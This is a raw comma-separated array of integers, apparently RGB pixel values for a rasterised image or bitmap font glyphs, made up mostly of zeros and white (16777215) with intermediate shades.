0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14389306,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,3838171,16777142,6684672,26294,16777215,16767888,3801088,0,14950,6699520,0,0,3838171,16777215,11953664,0,58,9493503,16777142,9474267,16777215,16758374,0,0,0,26294,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,14992,14417919,14389306,0,0,14992,14417919,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,58,6731483,16777215,16777179,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,16758374,0,0,0,0,14992,14417919,16777142,6684672,0,3838171,16777215,16758374,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,14950,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,26294,16777215,16777215,16767963,16777179,14408703,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,16758374,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,3838171,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,3838171,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,26294,16777215,16777179,9452032,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,14992,14417919,14408667,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,3838171,16777215,14389306,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389350,11993087,14389306,14992,14417883,9463440,14417919,16767888,3801088,0,0,14992,14417919,16777142,6684672,0,6731519,16777215,14389306,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,58,9493503,16777215,14389306,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777215,14389306,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,58,9493503,16777215,14389306,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,3838171,16777215,14389306,14992,14417919,16767888,3801088,0,0,0,3838171,16777215,14389392,11993051,9452032,14992,14417846,6710966,16777215,14389306,0,0,0,0,26294,16777215,16767926,9484031,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,102,11993087,16777179,9452032,0,0,0,0,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,26294,16777215,16777179,9452032,58,9493503,14389306,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,14906,6710886,6710886,6710928,11983871,16777179,11964518,6710886,6710886,6699578,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3816038,11983835,16777215,16777215,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16758374,0,0,3827302,6710886,6710886,6699578,3827382,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,58,6721718,11974326,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16758374,58,3815994,0,0,58,3815994,3827382,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,102,11993087,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767888,3801088,0,3838171,16777215,16767926,6684672,0,0,26294,11953722,0,0,58,9493503,16767888,3801146,9493503,16758374,0,0,26294,11953722,0,0,0,0,0,0,6731519,16777179,9452032,0,26294,11964474,0,0,58,9493503,16767888,3801146,9493503,16758374,0,0,0,0,58,6721755,16777215,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,3838171,16777215,16777142,6684672,0,3838171,16777215,16758374,0,0,14992,14417919,14408667,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16777179,9452032,0,0,58,9493503,16777215,14399078,0,0,6731519,16777215,16777215,16758374,0,0,0,26294,16777215,16777142,6684672,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801190,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,58,9493503,16777179,9452032,0,0,6731519,16777215,16758374,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,6731519,16777215,14389306,0,0,0,0,3838171,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,26294,16777215,16777142,11983871,16758374,0,0,6731519,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,3838171,16777215,16758374,102,11993087,16777179,9452032,0,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,0,0,0,3838171,16777215,16758374,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,3827382,11953722,3801088,0,3838171,16777142,6699622,9493503,16777215,16758374,0,0,0,0,0,0,26294,16777215,14389306,0,102,11993087,16767888,3816080,14417919,16777179,9452032,0,0,58,9484031,16777215,16777215,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,26256,14417919,16777215,16777142,9452032,0,0,0,0,0,0,0,58,3815936,0,0,0,0,3827382,14417919,16777215,11953664,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,26294,16777215,16777179,9463354,0,0,58,9493503,16777215,16758374,0,0,14992,14417919,16777215,11953722,0,0,58,9493503,16777215,16758374,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,58,6731519,16777215,16767888,3801088,0,0,0,58,3816038,9483995,14417919,16777215,16777142,6684672,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6721638,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16767888,3801088,0,0,0,0,0,3838171,16777215,11953664,58,9493503,16777215,16777215,11953766,9493503,16777142,6684672,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,58,6721755,16777215,16777215,11953664,0,58,9493503,16777215,16777179,9463354,0,0,0,0,14906,3801088,0,3838171,16777215,14389306,0,0,14906,6731483,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777215,16767888,6699520,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,6731519,16777215,16767926,6699520,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,58,9493503,16777215,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,3838171,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,3827382,11953722,3801088,0,0,0,14950,9493503,16777215,16758374,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,0,0,14992,14417919,16767888,9474267,16777215,14389306,0,0,0,0,3838171,16777215,14389392,11993087,11953664,102,11993087,11964560,14417919,16758374,0,0,58,9493503,16777215,11953664,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,58,6721755,16777215,16777215,11953664,0,0,102,11993087,16777215,16777179,9463354,0,0,0,14906,3801088,0,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,6731519,16777215,16767888,3801088,0,58,3815994,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,3838171,16777215,16777142,6699520,0,0,14950,11993087,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,14950,11983871,16777215,16758374,0,0,0,0,26294,16777215,16777215,11953722,0,0,0,3801088,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,0,0,14992,14417919,16767888,6721755,16777215,14389306,0,0,0,0,26294,16777215,14399158,14417846,6684672,102,11993051,9474230,16777215,11953664,0,0,0,14992,14417919,16777179,9452032,102,11993087,16777215,14389306,0,0,0,0,0,14992,14417919,16777142,6710928,14417919,16767888,3801088,0,0,0,58,9493503,16777215,16758374,3801088,0